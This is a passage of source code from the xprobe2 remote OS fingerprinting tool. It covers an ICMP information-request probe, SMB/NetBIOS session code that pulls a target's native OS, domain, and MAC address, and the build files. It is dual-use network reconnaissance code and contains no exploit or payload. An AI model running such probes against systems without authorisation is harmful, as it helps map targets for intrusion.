module has been executed against: %s\n", get_name(), inet_ntoa(tg->get_addr())); current_os = os; do_icmp_query(tg); return OK; } int ICMP_Inforeq_Mod::fini(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } int ICMP_Inforeq_Mod::parse_keyword(int os_id, const char *kwd, const char *val) { xprobe_debug(XPROBE_DEBUG_SIGNATURES, "Parsing for %i : %s = %s\n", os_id, kwd, val); if ((s_i=kwd_chk.find(kwd)) != kwd_chk.end()) { return s_i->second->parse_param(os_id, val); } return OK; } int ICMP_Inforeq_Mod::do_icmp_query(Target *tg) { char buf[1024]; struct timeval tv; int ret; int done; unsigned short int icmpp_id; struct in_addr local, remote; /* our lamyer randomizer ;-p */ srand(time(NULL)); icmpp_id = rand(); local = tg->get_interface_addr(); remote = tg->get_addr(); ICMP icmpp(inet_ntoa(remote)); ICMP sn(inet_ntoa(local)); sn.init_device(tg->get_interface(), 0, 1500); tv = tg->get_rtt(); icmpp.set_src(inet_ntoa(tg->get_interface_addr())); icmpp.set_icmpId(icmpp_id); icmpp.set_type(ICMP_INFO_REQUEST); fflush(stderr); ret = -1; icmpp.timeout(tv); sn.timeout(tv); ret = icmpp.sendpack(""); done = 0; while (!done) { ret = sn.sniffpack(buf, sizeof(buf)); /* packet response */ // if (ret > 0 && sn.get_src() != local.s_addr if (!sn.timeout() && sn.get_src() == remote.s_addr && sn.get_type() == ICMP_INFO_REPLY && sn.get_icmpId() == icmpp_id) { done = 1; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Received reply.\n", get_name()); } // if (ret < 1) done = 1; /* timeout */ if (sn.timeout()) { done = 1; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Timed out, no reply received.\n", get_name()); } } for (s_i = kwd_chk.begin(); s_i != kwd_chk.end(); s_i++) s_i->second->check_param(&sn, &icmpp, current_os); if (tg->generate_sig()) generate_signature(tg, &sn, &icmpp); return OK; } void ICMP_Inforeq_Mod::generate_signature(Target *tg, ICMP *pack, ICMP *orig) { string keyword, value; unsigned int ttl; /* # icmp_info_reply = [ y, n] # icmp_info_reply_ttl = [>< decimal num] # icmp_info_reply_ip_id = [0, !0, SENT] */ if (!pack->timeout()) { tg->signature("icmp_info_reply", "y"); keyword = "icmp_info_reply_ttl"; ttl = pack->get_ttl() + tg->get_distance(); value = "<"; if (ttl <= 32) value.append("32"); else if (ttl <= 60) value.append("60"); else if (ttl <= 64) value.append("64"); else if (ttl <= 128) value.append("128"); else if (ttl <= 255) value.append("255"); tg->signature(keyword, value); keyword = "icmp_info_reply_ip_id"; if (pack->get_id() == 0) value = "0"; else if (pack->get_id() == orig->get_id()) value = "SENT"; else value = "!0"; tg->signature(keyword, value); } else { tg->signature("icmp_info_reply", "n"); tg->signature("icmp_info_reply_ttl", "<255"); tg->signature("icmp_info_reply_ip_id", "!0"); } } int ICMP_Inforeq_Reply_Check::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { int gotp=ip_pkt->timeout() ? 0 : 1; orig_pkt->timeout(); //suspend the warning add_param(gotp, 0, os); if (!gotp) { /* 2 keywords depend on this on * so to be able to get 100% we * generate 2 matches here if no * reply was received */ gen_match(2, os); } return OK; } int ICMP_Inforeq_Ip_Id_Check::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { if (!ip_pkt->timeout()) return add_param(ip_pkt->get_id(), orig_pkt->get_id(), os); return OK; } int ICMP_Inforeq_Ttl_Check::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { if (!ip_pkt->timeout()) return add_param(ip_pkt->get_ttl(), orig_pkt->get_ttl(), os); return OK; } xprobe2-0.3/src/xpmodules/os_probe/icmp_inforeq/icmp_inforeq.h000755 001751 000000 00000004731 10271643770 025120 0ustar00mederwheel000000 000000 /* $Id: icmp_inforeq.h,v 1.8 2004/06/09 12:08:25 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef ICMP_INFOREQ_H #define ICMP_INFOREQ_H #include "xprobe.h" #include "xprobe_module.h" #include "xprobe_module_param.h" typedef struct ttl_val { int high; int low; } ttl_val_s; class ICMP_Inforeq_Mod: public Xprobe_Module { private: OS_Matrix *current_os; map kwd_chk; map ::iterator s_i; int do_icmp_query(Target *); void generate_signature(Target *, ICMP *, ICMP *); public: ICMP_Inforeq_Mod(void); ~ICMP_Inforeq_Mod(void); int init(void); int parse_keyword(int, const char *, const char *); int exec(Target *, OS_Matrix *); int fini(void); }; class ICMP_Inforeq_Reply_Check: public Xprobe_Module_Param_ICMP { public: ICMP_Inforeq_Reply_Check(void):Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_BOOL) { return; } //~ICMP_Inforeq_Reply_Check(void) {return;} int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; class ICMP_Inforeq_Ip_Id_Check: public Xprobe_Module_Param_ICMP { public: ICMP_Inforeq_Ip_Id_Check(void):Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_ZNZORIG) { return; } //~ICMP_Inforeq_Ip_Id_Check(void){ return; } int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; class ICMP_Inforeq_Ttl_Check: public Xprobe_Module_Param_ICMP { public: ICMP_Inforeq_Ttl_Check(void):Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_RANGE) { return; } //~ICMP_Inforeq_Ttl_Check(void) { return; } int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; #endif /* ICMP_INFOREQ_H */ xprobe2-0.3/src/xpmodules/os_probe/icmp_inforeq/Makefile.in000755 001751 000000 00000003033 10271643770 024333 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.1 2002/08/08 11:41:42 fygrave Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I../ -I../../ -I ../../../ -I../../../xplib -I ../../../../libs-external/USI++ LDFLAGS=@LDFLAGS@ -L../../xplib SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ -lxplib DYNFLAGS=@DYNFLAGS@ XPLIB=../../xplib/libxplib.a INCLUDES= RANLIB=@RANLIB@ all: icmp_inforeq.o icmp_echo_id.o: icmp_inforeq.cc ${CXX} ${CFLAGS} -c icmp_inforeq.cc .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c $(CFLAGS) $< clean: rm -f core *.o *.so distclean: clean rm -f Makefile xprobe2-0.3/src/xpmodules/os_probe/smb000755 001751 000000 00000000000 10271644025 020305 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/os_probe/smb/smbutil.cc000644 001751 000000 00000010461 10271643771 022363 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2001-2005 Meder Kydyraliev * ** * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ /* * * ATTENTION: * Code below is modified version of the examples presented in the * 'Implementing CIFS' online book which is available at: * http://ubiqx.org/cifs/ * * Copyright (C) 1999-2003 by Christopher R. Hertel * * Date of changes: 20/06/2005 */ #include "smbutil.h" unsigned char *SMBUtil::L1_Encode(unsigned char *dst, const unsigned char *name, const unsigned char pad, const unsigned char sfx ) { int i = 0; int j = 0; int k = 0; while( ('\0' != name[i]) && (i < 15) ) { k = toupper( name[i++] ); dst[j++] = 'A' + ((k & 0xF0) >> 4); dst[j++] = 'A' + (k & 0x0F); } i = 'A' + ((pad & 0xF0) >> 4); k = 'A' + (pad & 0x0F); while( j < 30 ) { dst[j++] = i; dst[j++] = k; } dst[30] = 'A' + ((sfx & 0xF0) >> 4); dst[31] = 'A' + (sfx & 0x0F); dst[32] = '\0'; return( dst ); } int SMBUtil::L2_Encode(unsigned char *dst, const unsigned char *name, const unsigned char pad, const unsigned char sfx, const unsigned char *scope ) { int lenpos; int i; int j; if( NULL == L1_Encode( &dst[1], name, pad, sfx ) ) return( -1 ); dst[0] = 0x20; lenpos = 33; if( '\0' != *scope ) { do { for( i = 0, j = (lenpos + 1);('.' != scope[i]) && ('\0' != scope[i]); i++, j++) dst[j] = toupper( scope[i] ); dst[lenpos] = (unsigned char)i; lenpos += i + 1; scope += i; } while( '.' == *(scope++) ); dst[lenpos] = '\0'; } return( lenpos + 1 ); } unsigned short SMBUtil::smb_GetShort( unsigned char *src, int offset ) { /* ---------------------------------------------------- ** * Read a short integer converting to host byte order * from a byte array in SMB byte order. * ---------------------------------------------------- ** */ unsigned short tmp; /* Low order byte is first in the buffer. */ tmp = (unsigned short)(src[offset]); /* High order byte is next in the buffer. */ tmp |= ( (unsigned short)(src[offset+1]) << 8 ); return( tmp ); } void SMBUtil::smb_SetShort( unsigned char *dst, int offset, unsigned short val ) { /* ---------------------------------------------------- ** * Write a short integer in host byte order to the * buffer in SMB byte order. * ---------------------------------------------------- ** */ /* Low order byte first. */ dst[offset] = (unsigned char)(val & 0xFF); /* High order byte next. */ dst[offset+1] = (unsigned char)((val >> 8) & 0xFF); } unsigned long SMBUtil::smb_GetLong( unsigned char *src, int offset ) { /* ---------------------------------------------------- ** * Read a long integer converting to host byte order * from a byte array in SMB byte order. * ---------------------------------------------------- ** */ unsigned long tmp; tmp = (unsigned long)(src[offset]); tmp |= ( (unsigned long)(src[offset+1]) << 8 ); tmp |= ( (unsigned long)(src[offset+2]) << 16 ); tmp |= ( (unsigned long)(src[offset+3]) << 24 ); return( tmp ); } void SMBUtil::smb_SetLong( unsigned char *dst, int offset, unsigned long val ) { /* ---------------------------------------------------- ** * Write a long integer in host byte order to the * buffer in SMB byte order. * ---------------------------------------------------- ** */ dst[offset] = (unsigned char)(val & 0xFF); dst[offset+1] = (unsigned char)((val >> 8) & 0xFF); dst[offset+2] = (unsigned char)((val >> 16) & 0xFF); dst[offset+3] = (unsigned char)((val >> 24) & 0xFF); } xprobe2-0.3/src/xpmodules/os_probe/smb/smb_mod.h000644 001751 000000 00000002673 10271643771 022174 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2005 Meder Kydyraliev * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ #ifndef TCP_SMB_MOD_H #define TCP_SMB_MOD_H #include "xprobe.h" #include "xprobe_module.h" #include "xprobe_module_param.h" #include "smb.h" class SMB_Mod: public Xprobe_Module { private: class SMBFingerprint { public: string nativeos, lanman; }; map smb_fingerprints; public: SMB_Mod(void); ~SMB_Mod(void); int init(void); int parse_keyword(int, const char *, const char *); int exec(Target *, OS_Matrix *); int fini(void); }; #endif /* TCP_SMB_MOD_H */ xprobe2-0.3/src/xpmodules/os_probe/smb/smbutil.h000644 001751 000000 00000004115 10271643771 022224 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2001-2005 Meder Kydyraliev * ** * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ /* * * ATTENTION: * Code below is modified version of the examples presented in the * 'Implementing CIFS' online book which is available at: * http://ubiqx.org/cifs/ * * Copyright (C) 1999-2003 by Christopher R. Hertel * * Date of changes: 20/06/2005 */ #ifndef XPROBE_SMBUTIL_H #define XPROBE_SMBUTIL_H #include #include #include #include #include #include using namespace std; class SMBUtil { private: public: static unsigned char *L1_Encode(unsigned char *dst, const unsigned char *name, const unsigned char pad, const unsigned char sfx ); static int L2_Encode(unsigned char *dst, const unsigned char *name, const unsigned char pad, const unsigned char sfx, const unsigned char *scope ); static unsigned short smb_GetShort( unsigned char *src, int offset ); static void smb_SetShort( unsigned char *dst, int offset, unsigned short val ); static unsigned long smb_GetLong( unsigned char *src, int offset ); static void smb_SetLong( unsigned char *dst, int offset, unsigned long val); }; #endif /* XPROBE_SMBUTIL_H */ xprobe2-0.3/src/xpmodules/os_probe/smb/smb.h000644 001751 000000 00000011052 10271643771 021324 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2001-2005 Meder Kydyraliev * ** * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ /* * * ATTENTION: * Code below is modified version of the examples presented in the * 'Implementing CIFS' online book which is available at: * http://ubiqx.org/cifs/ * * Copyright (C) 1999-2003 by Christopher R. Hertel * * Date of changes: 20/06/2005 */ #ifndef XPROBE_SMB_H #define XPROBE_SMB_H #include "xprobe.h" #include "xprobe_module.h" #include "xprobe_module_param.h" #include "xplib.h" #include "smbutil.h" using namespace std; class SMB { public: const static int SESS_MSG = 0x00; const static int SESS_REQ = 0x81; const static int SESS_POS_RESP = 0x82; const static int SESS_NEG_RESP = 0x83; const static int SESS_RETARGET = 0x84; const static int SESS_KEEPALIVE = 0x85; const static int NBT_NOT_LISTENING = 0x80; const static int NBT_NAME_NOT_PRESENT = 0x82; const static int NBT_SERVER_SERVICE = 0x20; const static int NBT_WORKSTATION_SERVICE = 0x00; const static int SMB_HDR_SIZE = 32; const static int SMB_OFFSET_CMD = 4; const static int SMB_OFFSET_NTSTATUS = 5; const static int SMB_OFFSET_ECLASS = 5; const static int SMB_OFFSET_ECODE = 7; const static int SMB_OFFSET_FLAGS = 9; const static int SMB_OFFSET_FLAGS2 = 10; const static int SMB_OFFSET_EXTRA = 12; const static int SMB_OFFSET_TID = 24; const static int SMB_OFFSET_PID = 26; const static int SMB_OFFSET_UID = 28; const static int SMB_OFFSET_MID = 30; const static int SMB_OFFSET_WC = 32; const static int SMB_OFFSET_COM = 33; const static int SMB_OFFSET_XRESERVED = 34; const static int SMB_OFFSET_OFFSET = 35; const static int SMB_OFFSET_MAXBUF = 37; const static int SMB_OFFSET_MPXCNT = 39; const static int SMB_OFFSET_VCNUM = 41; const static int SMB_OFFSET_SESSKEY = 43; const static int SMB_OFFSET_CIPASSLEN = 47; const static int SMB_OFFSET_CSPASSLEN = 49; const static int SMB_OFFSET_RESERVED = 51; const static int SMB_OFFSET_CAPABILITIES = 55; /* * FLAGS */ const static int SMB_FLAGS_CANONICAL_PATHNAMES = 0x10; const static int SMB_FLAGS_CASELESS_PATHNAMES = 0x08; /* * FLAGS2 */ const static int SMB_FLAGS2_KNOWS_LONG_NAMES = 0x0001; /* * SMB Commands */ const static int SMB_COM_NEGOTIATE = 0x72; const static int SMB_COM_SESS_SETUP_ANDX = 0x73; private: int MakeSessReq(unsigned char *bufr, unsigned char *Called, unsigned char *Calling); int RequestNBTSession(int sock, unsigned char *Called, unsigned char *Calling); int smb_hdrInit( unsigned char *bufr, int bsize ); int nbt_SessionHeader( unsigned char *bufr, unsigned long size ); static void smb_hdrSetCmd( unsigned char *bufr, char cmd ) { bufr[SMB_OFFSET_CMD] = cmd; } static void smb_hdrSetFlags( unsigned char *bufr, char flags ) { bufr[SMB_OFFSET_FLAGS] = flags; } static void smb_hdrSetFlags2( unsigned char *bufr, char flags2 ) { SMBUtil::smb_SetShort( bufr, SMB_OFFSET_FLAGS2, flags2 ); } int NBT_Session(struct in_addr dst_addr, unsigned short dst_port); int smb_NegProtRequest( unsigned char *bufr, int bsize, int namec, const unsigned char **namev ); int smb_SessSetupRequest(unsigned char *buf, unsigned int bsize); int NBT_Node_Status_Query(struct in_addr); string nativeos, lanman, domain, calledname; unsigned char mac[6]; public: SMB() { calledname="*SMBSERVER"; bzero(mac, sizeof(mac)); } int session_setup_and_x(struct in_addr target, unsigned short port = 139); string get_nativeos(void) { return nativeos; } string get_lanman(void) { return lanman; } string get_domain(void) { return domain; } string get_calledname(void) { return calledname; } string get_mac(void); }; #endif /* XPROBE_SMB_H */ xprobe2-0.3/src/xpmodules/os_probe/smb/smb_mod.cc000644 001751 000000 00000010552 10271643771 022325 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2005 Meder Kydyraliev * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ #include "xprobe.h" #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "target.h" #include "interface.h" #include "cmd_opts.h" #include "smb_mod.h" extern Interface *ui; extern Cmd_Opts *copts; int smb_mod_init(Xprobe_Module_Hdlr *pt, char *nm) { SMB_Mod *smb= new SMB_Mod; smb->set_name(nm); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the SMB module\n"); pt->register_module(smb); pt->add_keyword(smb->get_id(), "smb_nativeos"); pt->add_keyword(smb->get_id(), "smb_lanman"); return OK; } SMB_Mod::SMB_Mod(void): Xprobe_Module(XPROBE_MODULE_OSTEST, "fingerprint:smb", "SMB fingerprinting module") { } SMB_Mod::~SMB_Mod(void) { map::iterator iter; for (iter=smb_fingerprints.begin(); iter!=smb_fingerprints.end(); iter++) { delete iter->second; } } int SMB_Mod::parse_keyword(int os_id, const char *kwd, const char *val) { map::iterator iter; SMBFingerprint *fingerprint=NULL; iter = smb_fingerprints.find(os_id); if (iter == smb_fingerprints.end()) { fingerprint = new SMBFingerprint; } else { fingerprint = iter->second; } if (strncasecmp(kwd, "smb_nativeos", strlen("smb_nativeos")) == 0) { fingerprint->nativeos = val; } else if (strncasecmp(kwd, "smb_lanman", strlen("smb_lanman")) == 0) { fingerprint->lanman = val; } else { ui->error("SMB_Mod::parse_keyword(): unknown keyword %s!\n", kwd); if (fingerprint != NULL) delete fingerprint; return FAIL; } // insert fingerprint if (iter == smb_fingerprints.end()) { smb_fingerprints.insert(pair(os_id, fingerprint)); } return OK; } int SMB_Mod::init(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module initialized\n", get_name()); return OK; } int SMB_Mod::exec(Target *tg, OS_Matrix *os) { SMB smb; map::iterator iter; int retval; unsigned short port=0; if (tg->port_is_open(IPPROTO_TCP, 139)) { port = 139; } else if (tg->port_is_open(IPPROTO_TCP, 445)) { port = 445; } else { ui->msg("[-] %s need either TCP port 139 or 445 to run\n", get_name()); return FAIL; } retval = smb.session_setup_and_x(tg->get_addr(), port); if (retval == FAIL) { ui->error("[-] %s module failed!\n", get_name()); if (tg->generate_sig()) { tg->signature("smb_nativeos", ""); tg->signature("smb_lanman", ""); } return FAIL; } else { ui->msg("[+] SMB [Native OS: %s] [Native Lanman: %s] [Domain: %s]\n", smb.get_nativeos().c_str(), smb.get_lanman().c_str(), smb.get_domain().c_str()); ui->msg("[+] SMB [Called name: %s] [MAC: %s]\n", smb.get_calledname().c_str(), smb.get_mac().c_str()); if (tg->generate_sig()) { tg->signature("smb_nativeos", smb.get_nativeos().c_str()); tg->signature("smb_lanman", smb.get_lanman().c_str()); } else { for (iter=smb_fingerprints.begin(); iter!=smb_fingerprints.end(); iter++) { if (xp_lib::equal(iter->second->nativeos, smb.get_nativeos())) { os->add_result(get_id(), iter->first, XPROBE_MATCH_YES); } else { os->add_result(get_id(), iter->first, XPROBE_MATCH_NO); } if (xp_lib::equal(iter->second->lanman, smb.get_lanman())) { os->add_result(get_id(), iter->first, XPROBE_MATCH_YES); } else { os->add_result(get_id(), iter->first, XPROBE_MATCH_NO); } } } } return OK; } int SMB_Mod::fini(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } xprobe2-0.3/src/xpmodules/os_probe/smb/Makefile.in000755 001751 000000 00000003061 10271643771 022443 0ustar00mederwheel000000 000000 # # Copyright (C) 2005 Meder Kydyraliev # Copyright (C) 2001 Fyodor Yarochkin # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ CXX=@CXX@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ RANLIB=@RANLIB@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I. -I.. -I../../../ -I ../../../xplib -I ../../../../libs-external/USI++ LDFLAGS=@LDFLAGS@ -L../../xplib SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ -lxplib DYNFLAGS=@DYNFLAGS@ XPLIB=../../xplib/libxplib.a INCLUDES= CXXSOURCES=smbutil.cc smb.cc smb_mod.cc OBJS=${CXXSOURCES:.cc=.o} ${CSOURCES:.c=.o} all: smb smb: $(OBJS) @echo "smb done" .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c ${CFLAGS} $< clean: rm -f core *.o *.so distclean: clean rm -f Makefile xprobe2-0.3/src/xpmodules/os_probe/smb/smb.cc000644 001751 000000 00000041316 10271643771 021470 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2001-2005 Meder Kydyraliev * ** * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ /* * * ATTENTION: * Code below is modified version of the examples presented in the * 'Implementing CIFS' online book which is available at: * http://ubiqx.org/cifs/ * * Copyright (C) 1999-2003 by Christopher R. Hertel * * Date of changes: 20/06/2005 */ #include "interface.h" #include "smb.h" #include using namespace std; extern Interface *ui; int SMB::MakeSessReq( unsigned char *bufr, unsigned char *Called, unsigned char *Calling ) { /* ---------------------------------------------------- ** * Create an NBT SESSION REQUEST message. * ---------------------------------------------------- ** */ /* Write the header. */ bufr[0] = SESS_REQ; bufr[1] = 0; bufr[2] = 0; bufr[3] = 68; /* 2x34 bytes in length. */ /* Copy the Called and Calling names into the buffer. */ (void)memcpy( &bufr[4], Called, 34 ); (void)memcpy( &bufr[38], Calling, 34 ); /* Return the total message length. */ return( 72 ); } int SMB::RequestNBTSession( int sock, unsigned char *Called, unsigned char *Calling ) { /* ---------------------------------------------------- ** * Send an NBT SESSION REQUEST over the TCP connection, * then wait for a reply. * ---------------------------------------------------- ** */ unsigned char bufr[128]; int result; /* Create the NBT Session Request message. */ result = MakeSessReq( bufr, Called, Calling ); /* Send the NBT Session Request message. */ result = send( sock, bufr, result, 0 ); if( result < 0 ) { ui->error( "Error sending Session Request message: %s\n", strerror( errno ) ); return FAIL; } /* Now wait for and handle the reply (2 seconds). */ result = xp_lib::RecvTimeout( sock, bufr, sizeof(bufr), 1); if( result < 4 ) { ui->error("RequestNBTSession(): got only %d bytes\n", result); return FAIL; } switch( *bufr ) { case SESS_POS_RESP: /* We got what we wanted. */ xprobe_mdebug(XPROBE_DEBUG_MODULES, "-- SMB::RequestNBTSession(): Received POSITIVE session response\n"); return OK; case SESS_NEG_RESP: /* * check if we got called name not present or * not listening on called name errors */ if (result < 5) { ui->error("RequestNBTSession(): truncated SESS_NEG_RESPONSE (%d bytes)\n", result); return FAIL; } if(bufr[4] == NBT_NOT_LISTENING || bufr[4] == NBT_NAME_NOT_PRESENT) return RETRY; else return FAIL; case SESS_RETARGET: /* We've been retargeted. */ return FAIL; default: /* Not a response we expected. */ return FAIL; break; } return FAIL; } int SMB::NBT_Session( struct in_addr dst_addr, unsigned short dst_port) { /* ---------------------------------------------------- ** * Program mainline. * Parse the command-line input and open the connection * to the server. * ---------------------------------------------------- ** */ unsigned char Called[34]; unsigned char Calling[34]; int sock=-1, retval; /* * Open the session. */ sock = xp_lib::OpenTCPSession( dst_addr, dst_port ); if (sock == FAIL) return FAIL; /* * Comment out the next call for raw TCP. */ if (dst_port == 139) { (void)SMBUtil::L2_Encode( Called, (const unsigned char *)calledname.c_str(), 0x20, 0x20, (const unsigned char *)"" ); /* * Create a (bogus) Calling Name. */ (void)SMBUtil::L2_Encode( Calling, (const unsigned char *)"SMBCLIENT", 0x20, 0x00, (const unsigned char *)"" ); retval = RequestNBTSession( sock, Called, Calling ); if (retval != OK) { xprobe_debug(XPROBE_DEBUG_MODULES, "SMB::NBT_Session(): retval: %d\n", retval); close(sock); return retval; } } /* ** Do real work here. ** */ return(sock); } int SMB::smb_hdrInit( unsigned char *bufr, int bsize ) { /* ---------------------------------------------------- ** * Initialize an empty header structure. * Returns -1 on error, the SMB header size on success. * ---------------------------------------------------- ** */ int i; const char *smb_hdrSMBString = "\xFFSMB"; if( bsize < SMB_HDR_SIZE ) return( FAIL ); for( i = 0; i < 4; i++ ) bufr[i] = smb_hdrSMBString[i]; for( i = 4; i < SMB_HDR_SIZE; i++ ) bufr[i] = '\0'; return( SMB_HDR_SIZE ); } int SMB::nbt_SessionHeader( unsigned char *bufr, unsigned long size ) { /* ---------------------------------------------------- ** * This function writes the NBT Session Service header. * Note that we use NBT byte order, not SMB. * ---------------------------------------------------- ** */ if( size > 0x0001FFFF || size < 4 ) /* That's the NBT maximum. */ return( FAIL ); bufr[0] = 0; bufr[1] = (size >> 16) & 0xFF; bufr[2] = (size >> 8) & 0xFF; bufr[3] = size & 0xFF; return( (int)size ); } int SMB::smb_NegProtRequest( unsigned char *bufr, int bsize, int namec, const unsigned char 